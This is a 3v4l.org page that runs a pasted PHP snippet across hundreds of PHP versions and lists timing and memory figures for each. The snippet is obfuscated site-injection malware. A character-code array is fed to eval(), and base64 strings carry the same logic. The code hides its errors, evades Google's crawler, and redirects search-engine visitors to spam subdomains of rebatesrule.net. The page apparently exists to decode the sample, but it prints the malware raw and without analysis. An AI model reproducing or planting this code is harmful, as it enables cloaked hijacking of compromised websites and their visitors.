3v4l.org

run code in 300+ PHP versions simultaneously
<?php $data=array(101,114,114,111,114,95,114,101,112,111,114,116,105,110,103,40,48,41,59,32,105,102,32,40,33,104,101,97,100,101,114,115,95,115,101,110,116,40,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,123,32,105,102,32,40,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,77,83,73,69,32,40,57,46,48,124,49,48,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,114,118,58,91,48,45,57,93,43,92,46,48,92,41,32,108,105,107,101,32,71,101,99,107,111,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,70,105,114,101,102,111,120,92,47,40,91,48,45,57,93,43,92,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,44,36,109,97,116,99,104,102,41,32,97,110,100,32,36,109,97,116,99,104,102,91,49,93,62,49,49,41,41,123,32,105,102,40,33,112,114,101,103,95,109,97,116,99,104,40,34,47,94,54,54,92,46,50,52,57,92,46,47,34,44,36,95,83,69,82,86,69,82,91,39,82,69,77,79,84,69,95,65,68,68,82,39,93,41,41,123,32,105,102,32,40,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,121,97,104,111,111,46,34,41,32,111,114,32,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,98,105,110,103,46,34,41,32,111,114,32,112,114,101,103,95,109,97,116,99,104,32,40,34,47,103,111,111,103,108,101,92,46,40,46,42,63,41,92,47,117,114,108,92,63,115,97,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,32,123,32,105,102,32,40,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,99,97,99,104,101,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,105,110,117,114,108,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,69,101,89,112,51,68,55,34,41,41,123,32,104,101,97,100,101,114,40,34,76,111,99,97,116,105,111,110,58,32,104,116,116,112,58,47,47,113,111,102,104,116,104,106,110,122,46,114,101,98,97,116,101,115,114,117,108,101,46,110,101,116,47,34,41,59,32,101,120,105,116,40,41,59,32,125,32,125,32,125,32,125,32,125,32,125,32,125);$code="";foreach ($data as $var){ $code.=chr($var);} eval($code); unset($data);$unset($code);?> <?php echo base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vdWllcGZqbGVmLnJlYmF0ZXNydWxlLm5ldC8iKTsgZXhpdCgpOyB9IH0gfSB9IH0gfSB9"); echo base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vdWllcGZqbGVmLnJlYmF0ZXNydWxlLm5ldC8iKTsgZXhpdCgpOyB9IH0gfSB9IH0gfSB9"); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0110.00718.95
8.3.30.0110.00419.21
8.3.20.0030.00520.33
8.3.10.0050.00323.63
8.3.00.0040.00419.50
8.2.170.0150.00022.96
8.2.160.0070.00720.47
8.2.150.0060.00324.18
8.2.140.0000.00824.66
8.2.130.0100.01026.16
8.2.120.0040.00422.21
8.2.110.0070.00322.08
8.2.100.0060.00617.84
8.2.90.0030.00619.21
8.2.80.0060.00318.16
8.2.70.0030.00517.63
8.2.60.0030.00618.05
8.2.50.0080.00018.07
8.2.40.0030.00518.20
8.2.30.0030.00618.21
8.2.20.0000.00817.80
8.2.10.0040.00418.05
8.2.00.0030.00917.75
8.1.270.0060.00322.32
8.1.260.0080.00026.35
8.1.250.0000.00728.09
8.1.240.0030.00623.86
8.1.230.0040.00719.13
8.1.220.0000.00817.91
8.1.210.0000.00818.77
8.1.200.0000.00917.47
8.1.190.0030.00617.65
8.1.180.0060.00319.01
8.1.170.0040.00418.77
8.1.160.0070.00022.15
8.1.150.0000.00918.76
8.1.140.0050.00217.38
8.1.130.0040.00417.60
8.1.120.0040.00417.46
8.1.110.0000.00817.59
8.1.100.0050.00317.57
8.1.90.0040.00417.44
8.1.80.0000.00817.57
8.1.70.0000.00717.40
8.1.60.0030.00617.68
8.1.50.0060.00317.59
8.1.40.0040.00417.62
8.1.30.0040.00417.70
8.1.20.0040.00417.80
8.1.10.0000.00817.54
8.1.00.0030.00517.48
8.0.300.0080.00020.85
8.0.290.0000.00817.30
8.0.280.0000.00718.38
8.0.270.0070.00016.96
8.0.260.0040.00417.01
8.0.250.0000.00817.13
8.0.240.0040.00417.08
8.0.230.0020.00517.13
8.0.220.0030.00317.09
8.0.210.0050.00316.92
8.0.200.0000.00717.06
8.0.190.0040.00417.12
8.0.180.0040.00417.02
8.0.170.0050.00217.05
8.0.160.0040.00316.97
8.0.150.0070.00016.93
8.0.140.0040.00416.99
8.0.130.0030.00313.38
8.0.120.0040.00417.06
8.0.110.0040.00417.03
8.0.100.0020.00516.83
8.0.90.0050.00216.91
8.0.80.0120.00317.04
8.0.70.0000.00716.93
8.0.60.0030.00517.10
8.0.50.0040.00416.81
8.0.30.0080.01117.15
8.0.20.0100.01217.40
8.0.10.0030.00517.00
8.0.00.0050.01816.83
7.4.330.0000.00515.00
7.4.320.0000.00716.67
7.4.300.0050.00216.68
7.4.290.0040.00416.51
7.4.280.0060.00316.55
7.4.270.0040.00416.60
7.4.260.0000.00716.56
7.4.250.0050.00316.65
7.4.240.0000.00716.68
7.4.230.0000.00716.58
7.4.220.0070.02016.69
7.4.210.0020.01216.65
7.4.200.0040.00416.68
7.4.190.0040.00416.77
7.4.160.0130.00316.67
7.4.150.0150.00317.40
7.4.140.0150.00617.86
7.4.130.0090.01216.61
7.4.120.0110.00816.57
7.4.110.0100.00716.53
7.4.100.0090.00916.70
7.4.90.0040.01416.59
7.4.80.0060.01219.39
7.4.70.0110.00716.58
7.4.60.0030.01316.66
7.4.50.0040.00416.64
7.4.40.0070.01022.77
7.4.30.0090.00616.65
7.4.00.0060.00815.10
7.3.330.0030.00413.39
7.3.320.0030.00313.34
7.3.310.0040.00416.40
7.3.300.0030.00316.36
7.3.290.0160.00316.41
7.3.280.0090.01116.41
7.3.270.0100.01017.40
7.3.260.0140.00416.34
7.3.250.0080.01016.49
7.3.240.0160.00316.47
7.3.230.0170.00316.55
7.3.210.0130.00616.44
7.3.200.0070.01619.39
7.3.190.0030.01516.52
7.3.180.0120.00916.64
7.3.170.0060.01316.76
7.3.160.0140.00316.62
7.3.120.0030.01314.97
7.2.330.0090.00916.71
7.2.320.0210.00316.72
7.2.310.0090.00916.73
7.2.300.0130.00316.63
7.2.290.0000.02016.69
7.2.00.0000.01419.58
7.1.100.0030.00518.31
7.1.70.0070.01017.24
7.1.60.0180.00719.33
7.1.50.0070.01417.01
7.1.00.0070.07022.44
7.0.200.0000.00716.80
7.0.140.0070.07021.96
7.0.70.0170.07021.65
7.0.60.0030.06021.70
7.0.50.0030.04022.19
7.0.40.0070.06719.95
7.0.30.0070.07720.15
7.0.20.0100.07720.08
7.0.10.0000.08720.16
7.0.00.0000.07020.03
5.6.280.0030.07721.26
5.6.220.0030.06720.76
5.6.210.0030.08020.64
5.6.200.0000.04721.29
5.6.190.0000.05021.27
5.6.180.0100.08021.16
5.6.170.0070.08021.14
5.6.160.0170.05321.19
5.6.150.0070.05321.06
5.6.140.0070.07021.20
5.6.130.0130.05721.27
5.6.120.0100.07721.22
5.6.110.0030.08721.27
5.6.100.0000.05021.11
5.6.90.0070.04021.20
5.6.80.0000.04320.54
5.6.70.0000.04320.56
5.6.60.0000.04020.52
5.6.50.0030.03720.66
5.6.40.0030.03020.46
5.6.30.0030.03020.57
5.6.20.0030.03320.54
5.6.10.0070.02720.49
5.6.00.0000.03320.48
5.5.360.0070.07720.59
5.5.350.0000.04320.51
5.5.340.0000.04320.93
5.5.330.0030.04320.94
5.5.320.0130.07721.00
5.5.310.0030.08020.75
5.5.300.0070.08320.88
5.5.290.0170.07720.91
5.5.280.0170.06320.71
5.5.270.0000.06720.90
5.5.260.0000.04721.04
5.5.250.0030.04720.74
5.5.240.0000.04320.39
5.5.230.0030.04020.39
5.5.220.0000.04020.28
5.5.210.0030.03720.40
5.5.200.0030.03020.11
5.5.190.0000.04320.32
5.5.180.0000.03320.29
5.5.160.0000.03320.28
5.5.150.0100.02720.34
5.5.140.0030.03020.25
5.5.130.0030.03020.37
5.5.120.0000.04320.19
5.5.110.0030.03720.34
5.5.100.0000.03320.23
5.5.90.0000.03720.25
5.5.80.0000.03320.26
5.5.70.0000.04020.06
5.5.60.0000.03320.07
5.5.50.0000.03020.26
5.5.40.0000.03320.22
5.5.30.0030.03020.20
5.5.20.0030.03020.16
5.5.10.0030.03020.24
5.5.00.0000.03320.18
5.4.450.0030.07019.52
5.4.440.0000.08719.43
5.4.430.0030.06319.48
5.4.420.0100.04019.34
5.4.410.0000.05019.31
5.4.400.0130.03019.04
5.4.390.0030.03719.09
5.4.380.0000.04019.09
5.4.370.0030.03319.00
5.4.360.0000.03718.93
5.4.350.0030.03019.00
5.4.340.0070.04019.06
5.4.320.0000.03718.99
5.4.310.0030.03719.07
5.4.300.0000.03019.10
5.4.290.0030.02719.09
5.4.280.0000.03719.05
5.4.270.0030.03319.00
5.4.260.0030.03019.02
5.4.250.0000.03319.18
5.4.240.0000.03019.21
5.4.230.0030.03019.09
5.4.220.0030.03019.20
5.4.210.0100.02318.97
5.4.200.0030.03019.20
5.4.190.0000.03719.14
5.4.180.0030.02719.21
5.4.170.0000.03019.07
5.4.160.0000.03319.32
5.4.150.0000.03319.09
5.4.140.0030.02716.32
5.4.130.0030.02716.35
5.4.120.0030.02716.32
5.4.110.0000.03716.27
5.4.100.0000.03016.39
5.4.90.0000.03016.47
5.4.80.0000.04716.26
5.4.70.0000.04316.25
5.4.60.0000.05016.38
5.4.50.0030.06716.45
5.4.40.0030.07716.27
5.4.30.0000.06316.40
5.4.20.0030.07016.35
5.4.10.0000.04316.44
5.4.00.0030.06315.78
5.3.290.0030.04014.86
5.3.280.0030.03014.79
5.3.270.0030.03014.75
5.3.260.0000.03014.79
5.3.250.0000.03314.82
5.3.240.0030.02714.82
5.3.230.0030.02714.68
5.3.220.0000.03314.66
5.3.210.0000.04314.75
5.3.200.0030.02714.76
5.3.190.0000.05314.79
5.3.180.0030.06014.80
5.3.170.0000.06014.78
5.3.160.0000.06314.74
5.3.150.0030.06014.79
5.3.140.0000.07014.64
5.3.130.0000.05314.77
5.3.120.0070.07014.63
5.3.110.0030.06314.59
5.3.100.0000.04014.29
5.3.90.0030.08314.08
5.3.80.0070.07314.10
5.3.70.0100.07314.10
5.3.60.0030.05014.22
5.3.50.0030.06014.03
5.3.40.0000.07314.13
5.3.30.0070.05714.11
5.3.20.0000.07013.78
5.3.10.0000.07313.86
5.3.00.0000.07313.84
5.2.170.0000.05311.41
5.2.160.0030.05711.42
5.2.150.0070.05711.32
5.2.140.0070.06011.38
5.2.130.0030.06011.28
5.2.120.0070.06011.31
5.2.110.0030.05711.32
5.2.100.0100.05711.25
5.2.90.0070.05711.31
5.2.80.0070.05711.15
5.2.70.0000.05011.17
5.2.60.0000.04711.34
5.2.50.0030.06311.05
5.2.40.0030.06311.18
5.2.30.0100.06011.19
5.2.20.0070.06311.23
5.2.10.0030.05311.20
5.2.00.0030.05310.85
5.1.60.0100.04310.84
5.1.50.0070.05010.84
5.1.40.0030.05710.84
5.1.30.0030.05710.84
5.1.20.0030.05010.84
5.1.10.0070.04710.84
5.1.00.0100.04710.84
5.0.50.0000.04710.84
5.0.40.0070.04310.84
5.0.30.0030.06310.84
5.0.20.0030.03710.84
5.0.10.0000.04310.84
5.0.00.0070.04310.84
4.4.90.0000.02010.84
4.4.80.0000.02710.84
4.4.70.0000.03310.84
4.4.60.0000.03310.84
4.4.50.0000.03710.84
4.4.40.0030.05710.84
4.4.30.0000.03310.84
4.4.20.0000.03710.84
4.4.10.0030.03310.84
4.4.00.0000.05310.84
4.3.110.0000.03310.84
4.3.100.0000.03310.84
4.3.90.0000.03310.84
4.3.80.0000.05310.84
4.3.70.0030.02310.84
4.3.60.0000.03710.84
4.3.50.0070.03310.84
4.3.40.0000.05310.84
4.3.30.0000.04010.84
4.3.20.0000.04010.84
4.3.10.0000.03310.84
4.3.00.0030.02710.84

preferences:
43.53 ms | 400 KiB | 5 Q